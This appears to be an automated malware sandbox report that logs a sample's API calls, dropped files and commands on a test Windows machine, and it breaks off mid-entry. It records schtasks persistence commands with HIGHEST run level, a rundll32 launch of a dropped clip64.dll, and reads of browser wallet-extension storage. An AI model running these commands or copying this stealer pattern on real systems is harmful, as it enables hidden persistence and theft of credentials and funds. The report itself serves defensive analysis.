NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7564f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7561c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7563c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7561c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7563c000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73423000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x734c7000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x76af9000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x75ac2000
process_handle: 0xffffffff
1 0 0
description explorhe.exe tried to sleep 266 seconds, actually delayed analysis time by 266 seconds
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 8362495
sectors_per_cluster: 8362495
bytes_per_sector: 512
root_path: C:
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 9859653632
free_bytes_available: 9859653632
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 9934028800
free_bytes_available: 9934028800
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 10011496448
free_bytes_available: 10011496448
root_path: C:
total_number_of_bytes: 34252779520
1 1 0

GetDiskFreeSpaceExW

 total_number_of_free_bytes: 10011496448
free_bytes_available: 10011496448
root_path: C:
total_number_of_bytes: 34252779520
1 1 0
Application Crash Process iexplore.exe with pid 2776 crashed
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x754c374b
CoReleaseServerProcess+0x73 OleSaveToStream-0xad ole32+0x64387 @ 0x75b94387
NdrpMemoryIncrement+0x3d1 NdrComplexStructMarshall-0x2f rpcrt4+0x1ef51 @ 0x754bef51
NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x754b6a9c
NdrPointerMarshall+0xd6 NdrPointerBufferSize-0x10 rpcrt4+0x16b42 @ 0x754b6b42
NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x754b6a9c
NdrConformantArrayFree+0x8c NdrOleFree-0xa rpcrt4+0x35c3a @ 0x754d5c3a
NdrStubCall2+0x31d NdrUnmarshallBasetypeInline-0x23a rpcrt4+0xb06b8 @ 0x755506b8
WdtpInterfacePointer_UserUnmarshal+0x256f DllDebugObjectRPCHook-0x1e89 ole32+0x13d7e6 @ 0x75c6d7e6
WdtpInterfacePointer_UserUnmarshal+0x25ff DllDebugObjectRPCHook-0x1df9 ole32+0x13d876 @ 0x75c6d876
WdtpInterfacePointer_UserUnmarshal+0x2b59 DllDebugObjectRPCHook-0x189f ole32+0x13ddd0 @ 0x75c6ddd0
CoTaskMemFree+0x1b02 DcomChannelSetHResult-0x1c8 ole32+0x58a43 @ 0x75b88a43
CoTaskMemFree+0x19f7 DcomChannelSetHResult-0x2d3 ole32+0x58938 @ 0x75b88938
DcomChannelSetHResult+0x8ff CoGetObject-0x2183 ole32+0x5950a @ 0x75b8950a
WdtpInterfacePointer_UserUnmarshal+0x2a56 DllDebugObjectRPCHook-0x19a2 ole32+0x13dccd @ 0x75c6dccd
WdtpInterfacePointer_UserUnmarshal+0x28ca DllDebugObjectRPCHook-0x1b2e ole32+0x13db41 @ 0x75c6db41
WdtpInterfacePointer_UserUnmarshal+0x2f86 DllDebugObjectRPCHook-0x1472 ole32+0x13e1fd @ 0x75c6e1fd
DcomChannelSetHResult+0x75c CoGetObject-0x2326 ole32+0x59367 @ 0x75b89367
DcomChannelSetHResult+0x71b CoGetObject-0x2367 ole32+0x59326 @ 0x75b89326
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a
CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755f77c4
DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x755f788a
CoWaitForMultipleHandles+0x4311 CoRegisterSurrogateEx-0x2fe ole32+0x1a48b @ 0x75b4a48b
CoWaitForMultipleHandles+0x23c1 CoRegisterSurrogateEx-0x224e ole32+0x1853b @ 0x75b4853b
CoWaitForMultipleHandles+0x4332 CoRegisterSurrogateEx-0x2dd ole32+0x1a4ac @ 0x75b4a4ac
CoGetTreatAsClass+0x2619 CoRegisterChannelHook-0x1269 ole32+0x2cd48 @ 0x75b5cd48
CoGetTreatAsClass+0x314b CoRegisterChannelHook-0x737 ole32+0x2d87a @ 0x75b5d87a
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 103673428
registers.edi: 79945484
registers.eax: 103673428
registers.ebp: 103673508
registers.edx: 4164878962
registers.ebx: 103673792
registers.esi: 2147746133
registers.ecx: 79678152
1 0 0

__exception__

 stacktrace: 
RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x754c374b
DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x75c6f725
NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x754d414b
ObjectStublessClient25+0x65c CoImpersonateClient-0xbc ole32+0xfe14 @ 0x75b3fe14
StgGetIFillLockBytesOnFile+0x16ab5 WdtpInterfacePointer_UserSize-0xe21 ole32+0x13a338 @ 0x75c6a338
IsValidURL+0x4b8c MkParseDisplayNameEx-0x1c6a4 urlmon+0x4e99f @ 0x7532e99f
IntlPercentEncodeNormalize+0x1ff8 CoInternetCombineIUri-0x940 urlmon+0x272ed @ 0x753072ed
RegisterBindStatusCallback+0x40d9 CopyBindInfo-0xbe4 urlmon+0x1ab0d @ 0x752fab0d
GetIUriPriv2+0x603 CoInternetIsFeatureEnabledForIUri-0xdf6 urlmon+0x1ea98 @ 0x752fea98
RegisterBindStatusCallback+0x1dc3 CopyBindInfo-0x2efa urlmon+0x187f7 @ 0x752f87f7
CopyStgMedium+0x286 FindMediaType-0x70d urlmon+0x1ba32 @ 0x752fba32
gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa
GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a
CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755f77c4
DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x755f7bca
CreateAsyncBindCtx+0xb2f URLDownloadToCacheFileW-0x54c urlmon+0x4516f @ 0x7532516f
CreateAsyncBindCtx+0xa8e URLDownloadToCacheFileW-0x5ed urlmon+0x450ce @ 0x753250ce
RegisterBindStatusCallback+0x36a4 CopyBindInfo-0x1619 urlmon+0x1a0d8 @ 0x752fa0d8
RegisterBindStatusCallback+0x3151 CopyBindInfo-0x1b6c urlmon+0x19b85 @ 0x752f9b85
RegisterBindStatusCallback+0x3074 CopyBindInfo-0x1c49 urlmon+0x19aa8 @ 0x752f9aa8
CreateAsyncBindCtx+0xccc URLDownloadToCacheFileW-0x3af urlmon+0x4530c @ 0x7532530c
URLDownloadToCacheFileW+0xe5 CoInternetIsFeatureZoneElevationEnabled-0x2c18 urlmon+0x457a0 @ 0x753257a0
DllCanUnloadNow+0xcfc8 IEAssociateThreadWithTab-0x294dd ieframe+0x2540c @ 0x729b540c
DllCanUnloadNow+0xce86 IEAssociateThreadWithTab-0x2961f ieframe+0x252ca @ 0x729b52ca
CreateExtensionGuidEnumerator+0x5d622 SetQueryNetSessionCount-0x15f9a ieframe+0x100ea3 @ 0x72a90ea3
RtlGetUserInfoHeap+0x225 RtlQueueWorkItem-0x210 ntdll+0x67e96 @ 0x77907e96
TpCallbackIndependent+0x527 RtlIsCriticalSectionLockedByThread-0x240 ntdll+0x454f4 @ 0x778e54f4
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 71818224
registers.edi: 1974991376
registers.eax: 71818224
registers.ebp: 71818304
registers.edx: 1
registers.ebx: 5460556
registers.esi: 2147746133
registers.ecx: 2082696782
1 0 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64\Local Extension Settings\cjmkndjhnagcfbpiemnkdpomccnjblmj\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\PepperFlash\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\OriginTrials\Local Extension Settings\lpilbniiabackdjcionkobglmddfbcjo\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\MEIPreload\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\SafetyTips\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\FontLookupTableCache\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\GrShaderCache\Sync Extension Settings\aijcbedoijmgnlmjeegjaglmepbmpkpi\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\FontLookupTableCache\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Safe Browsing\Sync Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\RecoveryImproved\Local Extension Settings\bgpipimickeadkjlklgciifhnalhdjhe\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\GrShaderCache\Sync Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TLSDeprecationConfig\Local Extension Settings\epapihdplajcdnnkdeiahlgigofloibg\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\Sync Extension Settings\mgffkfbidihjpoaomajlbgchddlicgpn\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Sync Extension Settings\lpilbniiabackdjcionkobglmddfbcjo\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\OriginTrials\Sync Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Sync Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ZxcvbnData\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\RecoveryImproved\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crashpad\Sync Extension Settings\jnkelfanjkeadonecabehalmbgpfodjm\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant\Local Extension Settings\gjagmgiddbbciopjhllkdnddhcglnemk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\FileTypePolicies\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\MEIPreload\Sync Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\recovery\Sync Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Sync Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TLSDeprecationConfig\Sync Extension Settings\fhilaheimglignddkjgofkcbgekhenbh\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TLSDeprecationConfig\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Crowd Deny\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\CertificateRevocation\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ZxcvbnData\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\pnacl\Sync Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\BrowserMetrics\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\Local Extension Settings\aijcbedoijmgnlmjeegjaglmepbmpkpi\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\GrShaderCache\Local Extension Settings\gjagmgiddbbciopjhllkdnddhcglnemk\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\PepperFlash\Sync Extension Settings\oeljdldpnmdbchonielidgobddffflal\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\ShaderCache\Sync Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp\CURRENT
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Subresource Filter\Sync Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm\CURRENT
domain ipinfo.io
file C:\Users\test22\AppData\Roaming\006700e5a2ab05\cred64.dll
file C:\Users\test22\AppData\Roaming\Temp\Task.bat
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\8CEyWgPtgDj3ygdsYA34.exe
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\KdWG1WnjbLO0ejuSam0V.exe
file C:\Users\test22\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
file C:\Users\test22\AppData\Local\Temp\nsl94D5.tmp\INetC.dll
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\n6P8X5rop5bCHCDpw23f.exe
file C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll
file C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
file C:\Users\test22\AppData\Local\Temp\rty25.exe
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\Z2A_k3kHrLyUiJQeXEs0.exe
file C:\Users\test22\AppData\Local\Temp\1000493001\latestrocki.exe
file C:\Users\test22\AppData\Local\Temp\toolspub1.exe
file C:\Users\test22\AppData\Local\Temp\1000495001\SetupPowerGREPDemo.exe
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\8G51dyVKnnvS40g1JD2e.exe
cmdline schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\test22\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
cmdline "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline SCHTASKS /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
cmdline schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\8CEyWgPtgDj3ygdsYA34.exe
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\Z2A_k3kHrLyUiJQeXEs0.exe
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\8G51dyVKnnvS40g1JD2e.exe
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\KdWG1WnjbLO0ejuSam0V.exe
file C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
file C:\Users\test22\AppData\Local\Temp\1000493001\latestrocki.exe
file C:\Users\test22\AppData\Local\Temp\1000495001\SetupPowerGREPDemo.exe
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
file C:\Users\test22\AppData\Local\Temp\toolspub1.exe
file C:\Users\test22\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
file C:\Users\test22\AppData\Local\Temp\rty25.exe
file C:\Users\test22\AppData\Local\Temp\SandboxieInstall.exe
file C:\Users\test22\AppData\Local\Temp\toolspub1.exe
file C:\Users\test22\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BYECVYBT\clip64[1].dll
file C:\Users\test22\AppData\Local\Temp\nsz9DA0.tmp
file C:\Users\test22\AppData\Local\Temp\1000493001\latestrocki.exe
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\Z2A_k3kHrLyUiJQeXEs0.exe
file C:\Users\test22\AppData\Local\Temp\BroomSetup.exe
file C:\Users\test22\AppData\Local\Temp\202005191702_6d173b9549ce4fe1e5ada5ab9ce0bfff5d9569f19e7fa916db5c8d4f0dace63b_setup_nwc275a_demo.exe
file C:\Users\test22\AppData\Local\Temp\Setup00000994\OSETUPUI.DLL
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\KdWG1WnjbLO0ejuSam0V.exe
file C:\Users\test22\AppData\Local\Temp\Setup00000994\OSETUP.DLL
file C:\Users\test22\AppData\Local\Temp\face.exe
file C:\Users\test22\AppData\Local\Temp\Setup000023ac\OSETUP.DLL
file C:\Users\test22\AppData\Local\Temp\Setup000023ac\ose00000.exe
file C:\Users\test22\AppData\Local\Temp\Setup00000994\ose00000.exe
file C:\Users\test22\AppData\Local\Temp\nsl94D5.tmp\INetC.dll
file C:\Users\test22\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
file C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
file C:\Users\test22\AppData\Local\Temp\InstallSetup7.exe
file C:\Users\test22\AppData\Local\Temp\Setup000023ac\OSETUPUI.DLL
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\8CEyWgPtgDj3ygdsYA34.exe
file C:\Users\test22\AppData\Local\Temp\jobA4F6U_tCj88G2a2\8G51dyVKnnvS40g1JD2e.exe
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2448
thread_handle: 0x00000140
process_identifier: 2444
current_directory:
filepath:
track: 1
command_line: schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x0000013c
1 1 0

CreateProcessInternalW

 thread_identifier: 2556
thread_handle: 0x00000148
process_identifier: 2552
current_directory:
filepath:
track: 1
command_line: schtasks /create /f /RU "test22" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
filepath_r:
stack_pivoted: 0
creation_flags: 134217728 (CREATE_NO_WINDOW)
inherit_handles: 0
process_handle: 0x00000144
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: SCHTASKS
parameters: /Create /SC MINUTE /MO 1 /TN explorhe.exe /TR "C:\Users\test22\AppData\Local\Temp\d887ceb89d\explorhe.exe" /F
filepath: SCHTASKS
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000493001\latestrocki.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000493001\latestrocki.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: rundll32.exe
parameters: C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
filepath: rundll32.exe
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: C:\Users\test22\AppData\Local\Temp\1000495001\SetupPowerGREPDemo.exe
parameters:
filepath: C:\Users\test22\AppData\Local\Temp\1000495001\SetupPowerGREPDemo.exe
1 1 0
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x00000488
process_name: SearchProtocolHost.exe
process_identifier: 1028
1 1 0

Process32NextW

 snapshot_handle: 0x00000488
process_name: svchost.exe
process_identifier: 2240
1 1 0

Process32NextW

 snapshot_handle: 0x00000488
process_name: conhost.exe
process_identifier: 2460
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2856
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 8192
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x02920000
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Time & API Arguments Status Return Repeated

InternetReadFile

